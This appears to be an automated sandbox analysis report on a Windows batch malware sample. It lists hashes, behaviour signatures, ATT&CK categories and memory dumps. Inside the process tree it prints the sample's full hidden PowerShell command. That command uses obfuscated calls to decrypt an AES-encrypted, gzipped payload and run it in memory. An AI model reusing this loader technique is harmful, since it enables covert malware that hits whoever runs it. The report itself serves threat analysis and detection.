59fbf83208e965445268cc973a63516dba60c68eced0d3cd8ed2e9499951dc32

Analysis

max time kernel
427s
max time network
432s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
09/02/2023, 15:04

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General

Target
prryry.bat
Size 325KB
Sample230209-sfq44agg35
SHA256 59fbf83208e965445268cc973a63516dba60c68eced0d3cd8ed2e9499951dc32
MD5 0e901cd4460579b61abece2b88f54035
SHA1 e776e751a2257cc6d56b85dd7f3c5c1a64bfc604
SHA512 f15cbd6d506142f0c1f3f5271881c4e083d08976f34d18b72d4967efe33f4479acf3d3f3b5d9ea537f110be407a72c968204494428e1f0626ffe10bdc3df4a45
SSDEEP 6144:/4qtTlM41OxgA7WSagBFKONpwB0Xf3fqYDhWdugk14piavaa:VTlMzgqLBFKOz2kh6kGkK
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1296	prryry.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1740	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1296	prryry.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1296	prryry.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1740 wrote to memory of 1296	1740	cmd.exe	28
PID 1740 wrote to memory of 1296	1740	cmd.exe	28
PID 1740 wrote to memory of 1296	1740	cmd.exe	28

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\prryry.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1740
- C:\Users\Admin\AppData\Local\Temp\prryry.bat.exe
  "prryry.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $jwaHO = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\prryry.bat').Split([Environment]::NewLine);foreach ($eKGSM in $jwaHO) { if ($eKGSM.StartsWith(':: ')) { $qdqSr = $eKGSM.Substring(3); break; }; };$QQCgF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($qdqSr);$AmjNH = New-Object System.Security.Cryptography.AesManaged;$AmjNH.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AmjNH.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AmjNH.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h2/C7kSVdBKzfHpNijDOerbgICwzq39ikAsdwwbv4us=');$AmjNH.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7g2z5diB2473fR8+2MRCTQ==');$wgvzs = $AmjNH.CreateDecryptor();$QQCgF = $wgvzs.TransformFinalBlock($QQCgF, 0, $QQCgF.Length);$wgvzs.Dispose();$AmjNH.Dispose();$tkbaD = New-Object System.IO.MemoryStream(, $QQCgF);$TZnYn = New-Object System.IO.MemoryStream;$FtxeR = New-Object System.IO.Compression.GZipStream($tkbaD, [IO.Compression.CompressionMode]::Decompress);$FtxeR.CopyTo($TZnYn);$FtxeR.Dispose();$tkbaD.Dispose();$TZnYn.Dispose();$QQCgF = $TZnYn.ToArray();$IqKDG = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($QQCgF);$vjmLt = $IqKDG.EntryPoint;$vjmLt.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1296

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

prryry.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\prryry.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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prryry.bat.exe

Path \Users\Admin\AppData\Local\Temp\prryry.bat.exe
Size 462KB
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d
SSDEEP 6144:dxGRyCXBgoDhzoNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:CRZgQhIKXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

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memory/1296-57-0x000007FEFB621000-0x000007FEFB623000-memory.dmp

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memory/1296-58-0x000007FEF35E0000-0x000007FEF4003000-memory.dmp

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memory/1296-59-0x000007FEF2A80000-0x000007FEF35DD000-memory.dmp

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memory/1296-60-0x0000000001F44000-0x0000000001F47000-memory.dmp

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memory/1296-62-0x0000000001F4B000-0x0000000001F6A000-memory.dmp

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memory/1296-61-0x0000000001F44000-0x0000000001F47000-memory.dmp

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